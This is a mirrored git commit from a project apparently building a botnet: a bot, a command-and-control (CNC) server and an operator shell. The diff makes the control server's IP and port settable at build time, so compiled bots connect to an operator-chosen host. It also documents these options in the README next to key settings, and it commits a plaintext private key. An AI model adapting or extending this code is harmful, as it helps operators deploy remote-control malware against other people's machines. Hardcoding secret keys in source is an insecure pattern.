mirror of
https://github.com/CPunch/Laika.git
synced 2024-11-21 12:40:04 +00:00
Added LAIKA_CNC_IP & LAIKA_CNC_PORT to cmake config
This commit is contained in:
parent
33219ee9d6
commit
e2537efb3f
10
README.md
10
README.md
@ -26,6 +26,16 @@ I could add some padding to each packet to make it look pseudo-HTTP-like, howeve
|
||||
- `/shell` is the main shell to connect to the CNC server with to issue commands.
|
||||
- `/tools` holds tools for generating keypairs, etc.
|
||||
|
||||
## CMake Definitions
|
||||
|
||||
| Definition | Description | Example |
|
||||
| ----------------- | ------------------------------------- | --------------------------------------------------------------------------------- |
|
||||
| LAIKA_PUBKEY | Sets CNC's public key | -DLAIKA_PUBKEY=997d026d1c65deb6c30468525132be4ea44116d6f194c142347b67ee73d18814 |
|
||||
| LAIKA_PRIVKEY | Sets CNC's private key | -DLAIKA_PRIVKEY=1dbd33962f1e170d1e745c6d3e19175049b5616822fac2fa3535d7477957a841 |
|
||||
| LAIKA_CNC_IP | Sets CNC's public ip | -DLAIKA_CNC_IP=127.0.0.1 |
|
||||
| LAIKA_CNC_PORT | Sets CNC's bind()'d port | -DLAIKA_CNC_PORT=13337 |
|
||||
> examples are passed to `cmake -B <dir>`
|
||||
|
||||
## Configuration and compilation
|
||||
|
||||
Make sure you have the following libraries and tools installed:
|
||||
|
@ -11,7 +11,6 @@ set_property(GLOBAL PROPERTY USE_FOLDERS ON)
|
||||
file(GLOB_RECURSE BOTSOURCE ${CMAKE_CURRENT_SOURCE_DIR}/src/**.c)
|
||||
file(GLOB_RECURSE BOTHEADERS ${CMAKE_CURRENT_SOURCE_DIR}/include/**.h)
|
||||
add_executable(LaikaBot ${BOTSOURCE} ${BOTHEADERS})
|
||||
set_property(TARGET LaikaBot PROPERTY C_STANDARD 11)
|
||||
target_link_libraries(LaikaBot PUBLIC LaikaLib util)
|
||||
|
||||
# add the 'DEBUG' preprocessor definition if we're compiling as Debug
|
||||
|
@ -1,5 +1,6 @@
|
||||
#include <stdio.h>
|
||||
|
||||
#include "lconfig.h"
|
||||
#include "lerror.h"
|
||||
#include "ltask.h"
|
||||
#include "bot.h"
|
||||
@ -22,7 +23,7 @@ int main(int argv, char **argc) {
|
||||
laikaT_newTask(&tService, 100, shellTask, (void*)bot);
|
||||
|
||||
/* connect to test CNC */
|
||||
laikaB_connectToCNC(bot, "127.0.0.1", "13337");
|
||||
laikaB_connectToCNC(bot, LAIKA_CNC_IP, LAIKA_CNC_PORT);
|
||||
|
||||
/* while connection is still alive, poll bot */
|
||||
while (laikaS_isAlive((&bot->peer->sock))) {
|
||||
|
@ -11,7 +11,6 @@ set_property(GLOBAL PROPERTY USE_FOLDERS ON)
|
||||
file(GLOB_RECURSE CNCSOURCE ${CMAKE_CURRENT_SOURCE_DIR}/src/**.c)
|
||||
file(GLOB_RECURSE CNCHEADERS ${CMAKE_CURRENT_SOURCE_DIR}/include/**.h)
|
||||
add_executable(LaikaCNC ${CNCSOURCE} ${CNCHEADERS})
|
||||
set_property(TARGET LaikaCNC PROPERTY C_STANDARD 11)
|
||||
target_link_libraries(LaikaCNC PUBLIC LaikaLib)
|
||||
|
||||
# add the 'DEBUG' preprocessor definition if we're compiling as Debug
|
||||
|
@ -5,25 +5,10 @@
|
||||
|
||||
struct sLaika_taskService tService;
|
||||
|
||||
/*void debugTask1(struct sLaika_taskService *service, struct sLaika_task *task, clock_t currTick, void *uData) {
|
||||
printf("hello 1 !\n");
|
||||
}
|
||||
|
||||
void debugTask2(struct sLaika_taskService *service, struct sLaika_task *task, clock_t currTick, void *uData) {
|
||||
printf("hello 2 !\n");
|
||||
}
|
||||
|
||||
void debugTask3(struct sLaika_taskService *service, struct sLaika_task *task, clock_t currTick, void *uData) {
|
||||
printf("hello 3 !\n");
|
||||
}*/
|
||||
|
||||
int main(int argv, char **argc) {
|
||||
struct sLaika_cnc *cnc = laikaC_newCNC(13337);
|
||||
struct sLaika_cnc *cnc = laikaC_newCNC(atoi(LAIKA_CNC_PORT));
|
||||
|
||||
laikaT_initTaskService(&tService);
|
||||
/*laikaT_newTask(&tService, 1000, debugTask1, NULL);
|
||||
laikaT_newTask(&tService, 500, debugTask2, NULL);
|
||||
laikaT_newTask(&tService, 2000, debugTask3, NULL);*/
|
||||
|
||||
while (true) {
|
||||
laikaC_pollPeers(cnc, laikaT_timeTillTask(&tService));
|
||||
|
@ -11,6 +11,14 @@ if(NOT LAIKA_PRIVKEY)
|
||||
set(LAIKA_PRIVKEY "90305aa77023d1c1e03265c3b6af046eb58d6ec8ba650b0dffed01379feab8cc")
|
||||
endif ()
|
||||
|
||||
if(NOT LAIKA_CNC_IP)
|
||||
set(LAIKA_CNC_IP "127.0.0.1")
|
||||
endif ()
|
||||
|
||||
if(NOT LAIKA_CNC_PORT)
|
||||
set(LAIKA_CNC_PORT "13337")
|
||||
endif ()
|
||||
|
||||
# version details
|
||||
set(LAIKA_VERSION_MAJOR 0)
|
||||
set(LAIKA_VERSION_MINOR 1)
|
||||
@ -31,7 +39,6 @@ add_subdirectory(libsodium)
|
||||
file(GLOB_RECURSE LIBSOURCE ${CMAKE_CURRENT_SOURCE_DIR}/src/**.c ${CMAKE_CURRENT_SOURCE_DIR}/vendor/**.c)
|
||||
file(GLOB_RECURSE LIBHEADERS ${CMAKE_CURRENT_SOURCE_DIR}/include/**.h)
|
||||
add_library(LaikaLib STATIC ${LIBSOURCE} ${LIBHEADERS})
|
||||
set_property(TARGET LaikaLib PROPERTY C_STANDARD 11)
|
||||
target_link_libraries(LaikaLib PUBLIC sodium)
|
||||
|
||||
# add the version definitions and the 'DEBUG' preprocessor definition if we're compiling as Debug
|
||||
|
@ -8,5 +8,7 @@
|
||||
/* keys */
|
||||
#define LAIKA_PUBKEY "40d5534aca77d1f5ec2bbe79dd9d0f52a78148918f95814404cefe97c34c5c27"
|
||||
#define LAIKA_PRIVKEY "90305aa77023d1c1e03265c3b6af046eb58d6ec8ba650b0dffed01379feab8cc"
|
||||
#define LAIKA_CNC_IP "127.0.0.1"
|
||||
#define LAIKA_CNC_PORT "13337"
|
||||
|
||||
#endif
|
||||
|
@ -8,5 +8,7 @@
|
||||
/* keys */
|
||||
#define LAIKA_PUBKEY "@LAIKA_PUBKEY@"
|
||||
#define LAIKA_PRIVKEY "@LAIKA_PRIVKEY@"
|
||||
#define LAIKA_CNC_IP "@LAIKA_CNC_IP@"
|
||||
#define LAIKA_CNC_PORT "@LAIKA_CNC_PORT@"
|
||||
|
||||
#endif
|
@ -11,7 +11,6 @@ set_property(GLOBAL PROPERTY USE_FOLDERS ON)
|
||||
file(GLOB_RECURSE SHELLSOURCE ${CMAKE_CURRENT_SOURCE_DIR}/src/**.c)
|
||||
file(GLOB_RECURSE SHELLHEADERS ${CMAKE_CURRENT_SOURCE_DIR}/include/**.h)
|
||||
add_executable(LaikaShell ${SHELLSOURCE} ${SHELLHEADERS})
|
||||
set_property(TARGET LaikaShell PROPERTY C_STANDARD 11)
|
||||
target_link_libraries(LaikaShell PUBLIC LaikaLib)
|
||||
|
||||
# add the 'DEBUG' preprocessor definition if we're compiling as Debug
|
||||
|
Loading…
Reference in New Issue
Block a user